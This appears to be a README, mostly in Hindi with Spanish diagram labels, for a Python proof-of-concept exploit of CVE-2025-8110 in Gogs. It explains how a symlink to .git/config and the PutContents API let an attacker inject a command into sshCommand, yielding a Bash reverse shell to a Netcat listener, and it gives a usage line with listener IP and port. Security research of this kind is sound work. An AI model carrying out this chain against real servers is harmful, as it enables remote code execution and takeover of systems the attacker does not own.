
CVE-2025-8110 के लिए Python प्रमाण-अवधारणा, Gogs में सिमलिंक और API के माध्यम से मनमाना फ़ाइल लेखन से RCE तक प्रदर्शित करता है, शैक्षिक लैब उपयोग के साथ।
इस रिपॉजिटरी में Python में एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) स्क्रिप्ट शामिल है जो स्व-होस्टेड Git सेवा Gogs (संस्करण 0.13.3 और पुराने) में CVE-2025-8110 के रूप में पंजीकृत भेद्यता को प्रदर्शित और विश्लेषण करने के लिए है।
[!WARNING] यह सॉफ़्टवेयर केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया जाता है। > मालिकों की पूर्व लिखित सहमति के बिना लक्ष्यों के विरुद्ध इस सामग्री का उपयोग करना पूरी तरह से अवैध है। इस रिपॉजिटरी के लेखक इस कोड के उपयोग से उत्पन्न किसी भी क्षति, हानि या दुरुपयोग के लिए जिम्मेदार नहीं हैं। इसे हमेशा अपने जोखिम पर और नियंत्रित वातावरण या अधिकृत सिमुलेशन (जैसे CTF प्रयोगशालाओं) में उपयोग करें।
CVE-2025-8110 एक गंभीर मनमानी फ़ाइल लिखने की भेद्यता है जो Gogs के PutContents API के माध्यम से सिंबलिक लिंक (symlinks) को संभालते समय अपर्याप्त सत्यापन के कारण होती है।
एक प्रमाणित हमलावर निम्नलिखित कर सकता है:
.git/configroot के रूप में चलती है, तो फ़ाइल लेखन को रिमोट कोड निष्पादन (RCE) तक बढ़ाया जा सकता है, Git कॉन्फ़िगरेशन फ़ाइल के sshCommand गुण में वांछित कमांड इंजेक्ट करके।exploit.py)स्क्रिप्ट वैध क्रेडेंशियल्स और Gogs वेब इंटरफ़ेस में पहले मैन्युअल रूप से जनरेट किए गए API टोकन का उपयोग करके पूरी शोषण प्रक्रिया को स्वचालित करती है:
┌──────────────────────────────────────────────┐
│ Máquina del Atacante (Kali) │
└──────────────────────┬───────────────────────┘
│
(1) Crea Repositorio │ (3) Sube Symlink (.git/config)
Malicioso vía API │ vía git push
▼
┌──────────────────────────────────────────────┐
│ Túnel SSH Local (puerto 8080) │
└──────────────────────┬───────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ Servidor Víctima Gogs │
│ (Puerto 3001) │
└──────────────────────┬───────────────────────┘
│
│ (4) API PUT "contents"
│ Sigue Symlink y escribe
│ "sshCommand" en .git/config
▼
┌──────────────────────────────────────────────┐
│ Ejecución del Payload como ROOT │
└──────────────────────────────────────────────┘
create_malicious_repo: प्रदान किए गए एक्सेस टोकन के साथ प्रमाणित करके Gogs API (/api/v1/user/repos) में POST अनुरोध करता है ताकि एक नया रिपॉजिटरी बनाया जा सके जिसमें गतिशील रूप से उत्पन्न यादृच्छिक नाम हो।upload_malicious_symlink:
/tmp/ में क्लोन करता है।.git/config (सर्वर की Git कॉन्फ़िगरेशन फ़ाइल) को इंगित करने वाला एक सिंबलिक लिंक बनाता है।git push) के माध्यम से परिवर्तनों को वापस सर्वर पर भेजता है।exploit: Git के sshCommand गुण में इंजेक्शन ट्रिक का उपयोग करके पेलोड को परिभाषित करता है। API के माध्यम से सामग्री को अद्यतन करने पर, Gogs को सर्वर पर अपने स्वयं के .git/config को अधिलेखित करने के लिए मजबूर किया जाता है। जब Git प्रक्रिया का अंतिम भाग सक्रिय होता है, तो Gogs सिस्टम टर्मिनल कमांड (Bash में रिवर्स शेल) निष्पादित करता है, जो कनेक्शन को आपके Netcat सुनने वाले पर वापस भेजता है।स्वचालित commit करते समय त्रुटियों से बचने के लिए स्क्रिप्ट चलाने से पहले Git में वैश्विक पहचान डेटा कॉन्फ़िगर करना सुनिश्चित करें:
git config --global user.email "[email protected]"
git config --global user.name "estudiante"
### उपयोग: python3 exploit.py -u (http://127.0.0.1:8080) -lh <TU_IP_VPN> -lp 4446